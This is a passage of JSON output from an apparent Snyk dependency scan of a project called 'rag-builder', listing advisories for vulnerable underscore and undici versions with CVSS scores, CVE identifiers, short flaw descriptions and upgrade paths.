"modificationTime": "2026-09-30T14:04:31.525835Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"lop@0.4.2",
"underscore@1.13.7"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"lop@0.4.2",
"underscore@1.13.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "underscore",
"version": "1.13.7"
},
{
"id": "SNYK-JS-UNDERSCORE-15369786",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<1.13.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.13.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "underscore",
"references": [
{
"url": "https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/jashkenas/underscore/issues/3011",
"title": "GitHub Issue"
},
{
"url": "https://underscorejs.org/%231.13.8",
"title": "Release Notes"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-30T14:04:31.525835Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-04-29T01:14:07.932185Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-03-05T10:42:06.732137Z"
}
],
"description": "## Overview\n[underscore](https://www.npmjs.org/package/underscore) is a JavaScript's functional programming helper library.\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion through the `_.flatten()` or `_.isEqual()` functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the `_.flatten()` function.\n## Remediation\nUpgrade `underscore` to version 1.13.8 or higher.\n## References\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/411e222eb0ca5d570cc4f6315c02c05b830ed2b4)\n- [GitHub Commit](https://github.com/jashkenas/underscore/commit/a6e23ae9647461ec33ad9f92a2ecfc220eea0a84)\n- [GitHub Issue](https://github.com/jashkenas/underscore/issues/3011)\n- [Release Notes](https://underscorejs.org/#1.13.8)\n",
"epssDetails": {
"percentile": "0.62202",
"probability": "0.01025",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-27601"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qpx9-hpmf-5gmw"
]
},
"packageName": "underscore",
"proprietary": false,
"creationTime": "2026-03-03T19:22:56.151818Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-03T17:46:06Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-03T19:22:56.337552Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-30T14:04:31.525835Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"lop@0.4.2",
"duck@0.1.12",
"underscore@1.13.7"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"lop@0.4.2",
"duck@0.1.12",
"underscore@1.13.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "underscore",
"version": "1.13.7"
},
{
"id": "SNYK-JS-UNDICI-15518064",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=6.0.0 <6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3537648",
"title": "HackerOne Report"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447145",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in the ByteParser when handling a specially crafted WebSocket frame with an extremely large 64-bit length. An attacker can cause the process to terminate unexpectedly by sending such a frame, resulting in a fatal TypeError and service disruption.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89)\n- [HackerOne Report](https://hackerone.com/reports/3537648)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2447145)\n",
"epssDetails": {
"percentile": "0.40735",
"probability": "0.00497",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1528"
],
"CWE": [
"CWE-248"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:17:00.403364Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T20:21:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:17:00.628005Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.863857Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-15518068",
"title": "Improper Handling of Highly Compressed Data (Data Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3481206",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.693149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.146835Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the `PerMessageDeflate.decompress()` method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/4b4f93ae292f0d245d3957bc08ee2e03d0839faa)\n- [HackerOne Report](https://hackerone.com/reports/3481206)\n",
"epssDetails": {
"percentile": "0.66482",
"probability": "0.01170",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1526"
],
"CWE": [
"CWE-409"
],
"GHSA": [
"GHSA-vrm6-8vpv-qv8q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:25:35.979418Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:09Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:25:36.181466Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.693149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-15518070",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3487486",
"title": "HackerOne Report"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:51.932784Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:38:38.644743Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception through improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/e9e2997ed18bff6ae389712d5f0e169f8a6546a0)\n- [HackerOne Report](https://hackerone.com/reports/3487486)\n",
"epssDetails": {
"percentile": "0.58151",
"probability": "0.00890",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-2229"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-v9p9-hfj2-hcw8"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:28:28.965114Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:04Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:28:29.168834Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:51.932784Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-17372658",
"title": "CRLF Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"credit": [
"ByunSuyoung"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to CRLF Injection in the `parseSetCookie`. An attacker can inject arbitrary HTTP headers by supplying specially crafted percent-encoded values in the Set-Cookie header, which are improperly decoded and then forwarded into response headers. This can enable actions such as session fixation, open redirect, or cache poisoning. \r\n\r\n**Note:** This is only exploitable if the application parses Set-Cookie headers using the affected function and then forwards the parsed value into a response header without proper sanitization.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing the values returned by the affected cookie parsing functions to strip or reject CR, LF, NUL, ;, and = bytes before forwarding them into response headers.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.23619",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9679"
],
"CWE": [
"CWE-93"
],
"GHSA": [
"GHSA-p88m-4jfj-68fv"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T10:54:52.700289Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:21:27Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T10:54:52.865199Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:32.080422Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-17372754",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Nadav"
],
"semver": {
"vulnerable": [
"<6.26.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.26.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/32dbf0b3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/8cb10f98",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/b7f252e7",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.\n## Remediation\nUpgrade `undici` to version 6.26.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/32dbf0b3)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/8cb10f98)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/b7f252e7)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.51977",
"probability": "0.00789",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-12151"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-vxpw-j846-p89q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:07:08.566966Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:10Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:07:08.757250Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-07-14T14:04:10.710783Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-17372758",
"title": "Permissive List of Allowed Inputs",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
